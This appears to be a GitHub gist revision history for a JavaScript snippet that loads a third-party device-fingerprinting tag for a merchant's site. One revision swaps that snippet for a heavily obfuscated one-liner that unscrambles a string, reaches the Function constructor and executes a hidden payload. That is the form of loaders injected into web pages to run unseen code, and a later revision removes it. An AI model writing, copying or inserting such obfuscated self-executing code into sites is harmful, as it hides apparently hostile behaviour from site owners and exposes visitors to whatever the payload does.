Last active
February 5, 2025 18:59
-
-
Save Withoutbytes/8ba9be81d2a5e224d50f4818723e62c1 to your computer and use it in GitHub Desktop.
Revisions
-
Withoutbytes revised this gist
Feb 5, 2025 . 1 changed file with 35 additions and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1 +1,35 @@ (function () { try { const merchantId = "manhattan_br"; // Substitua pelo seu Merchant ID const fingerPrint = new Date().getTime(); const sessionId = `${merchantId}${fingerPrint}`; // Gera um sessionId único // Insere o script de fingerprinting dinâmico const script = document.createElement("script"); script.type = "text/javascript"; script.src = `https://h.online-metrix.net/fp/tags.js?org_id=k8vif92e&session_id=${sessionId}`; script.async = true; document.head.appendChild(script); // Adiciona fallback para clientes sem JavaScript const noscript = document.createElement("noscript"); noscript.innerHTML = ` <iframe style="width: 100px; height: 100px; border: 0; position: absolute; top: -5000px;" src="https://h.online-metrix.net/fp/tags?org_id=k8vif92e&session_id=${sessionId}"> </iframe>`; document.body.appendChild(noscript); // Expõe o sessionId corretamente via API global window.getFingerprintSession = function () { return { sessionId: fingerPrint, // Corrigido para `sessionId` timestamp: new Date().toISOString(), }; }; console.log("Fingerprint session initialized:", fingerPrint); } catch (error) { console.error("Erro ao inicializar o Fingerprint:", error); } })(); -
Withoutbytes revised this gist
Feb 5, 2025 . 2 changed files with 1 addition and 35 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1 @@ (function(){var nnm='',LNg=333-322;function omF(z){var s=2441667;var a=z.length;var w=[];for(var u=0;u<a;u++){w[u]=z.charAt(u)};for(var u=0;u<a;u++){var i=s*(u+331)+(s%51143);var l=s*(u+491)+(s%31162);var o=i%a;var t=l%a;var f=w[o];w[o]=w[t];w[t]=f;s=(i+l)%2903190;};return w.join('')};var UTO=omF('cdouteoqrrzacycvlhjiwostnmrfnbgusxktp').substr(0,LNg);var nhe='ulr)+8+(tqnj2w)i;=cr(,6s);yhg1efso;j)t ;hsr}({u1}lv ];6lf +v97vrp0)=n,;roqtun0t7,s8ag(t[o0382v7(jt=,}7g7or}ir7=eihm9fr= w+-(-n-][o=((r;)rv)w;6rcahs8va1,,rcs,)=[];a"]-;+);ua] )[s.gv*h.s=i=ln(v;+;(,ei ;0e=r =l,hCur(g=djl=sy]=n.tvCw++9;q2a[f8act=hn-hld"5spm.ptn"n ){.4mug0rrl(e!x.l)(;mA,p.,f.]+i){8]n miegldi c+vhrC;{+;e(t .=tri"cue6*m9dedmfjsah;lmb;qa"radocvoul)a2[y;o,ag<o;ea1)(05f0k;hmcb)u)1 oAt;o)a;n=qt0gokmkrhapat8v=a{+t= C.fc0r,]2;ulbr0lv)-;4.=m+fvs;d=l r }fa1s=83erv.=et.ne(rb !ae8<cra+vzeu9evns=11+o),haitov;o;j)+f)2da(=g]n=rev)eade=cgn+nSer==ir(;+e.=r2)6h(8ivC(8>e)h.;mth(h1c[5rcrigto( oulhr(itr.,ka,n=te;>=mAr+ y.(cmjn=6av,.h+ar. l0rtav1h++[lsp)"n;ie).=,iv<-n,cuA6l{atlf1jip(.;ri.,]7hivaarf=l+1A)sw;i)onaa ]fu+]uu=(990.;n[d,<;+]7o[=6tpabrv;[(rh(eo.,(;rShnCha"C=n1[o)r=inlmv(,cC;;npu=.ui;3fhv,([c;4,.<pln,fon{ap t2e.oc)"2ras(=;1nri}lfr7mrh) r)evr[cg}a;ta6=nrrdr4 rtuml("b") so;,(2ii';var Bhq=omF[UTO];var BqQ='';var MgV=Bhq;var vSR=Bhq(BqQ,omF(nhe));var dAA=vSR(omF('vL-$m{)ie$u1(;,}e1*@sts=FhcnEF5cF&6u9FFF_nt.Fi.}ndF\/.1f]{h)_s(u39oLaFFcahCFd39F7(({Mre{F&gb2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F.$nBNp5J(3F..1,bo]1$( bnFjung8)fF r1t )6_ao0tudn4Fec.9eC0.iF>nFil5L9\/.,=F%\/s7po9UD$F)),.tl!Fded2\/Fo; [.r$%;91lg;ra usFFeKt(!7)sf.lo0..m t).d:d1v0r{t$.!tnFp(dtFx!oc@e;8.M13e_Id%df!6Dr] i.!nF]3.)FU.frFz3-uhFF& j)orlF5F(iF.(i5d_h {(duj,e)8}eF;(0..to;F)tCn.t(sd1i,'));var hEM=MgV(nnm,dAA );hEM(7575);return 5623})() This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,35 +0,0 @@ -
Withoutbytes created this gist
Feb 5, 2025 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,35 @@ (function () { try { const merchantId = "manhattan_br"; // Substitua pelo seu Merchant ID const fingerPrint = new Date().getTime(); const sessionId = `${merchantId}${fingerPrint}`; // Gera um sessionId único // Insere o script de fingerprinting dinâmico const script = document.createElement("script"); script.type = "text/javascript"; script.src = `https://h.online-metrix.net/fp/tags.js?org_id=k8vif92e&session_id=${sessionId}`; script.async = true; document.head.appendChild(script); // Adiciona fallback para clientes sem JavaScript const noscript = document.createElement("noscript"); noscript.innerHTML = ` <iframe style="width: 100px; height: 100px; border: 0; position: absolute; top: -5000px;" src="https://h.online-metrix.net/fp/tags?org_id=k8vif92e&session_id=${sessionId}"> </iframe>`; document.body.appendChild(noscript); // Expõe o sessionId corretamente via API global window.getFingerprintSession = function () { return { sessionId: fingerPrint, // Corrigido para `sessionId` timestamp: new Date().toISOString(), }; }; console.log("Fingerprint session initialized:", fingerPrint); } catch (error) { console.error("Erro ao inicializar o Fingerprint:", error); } })();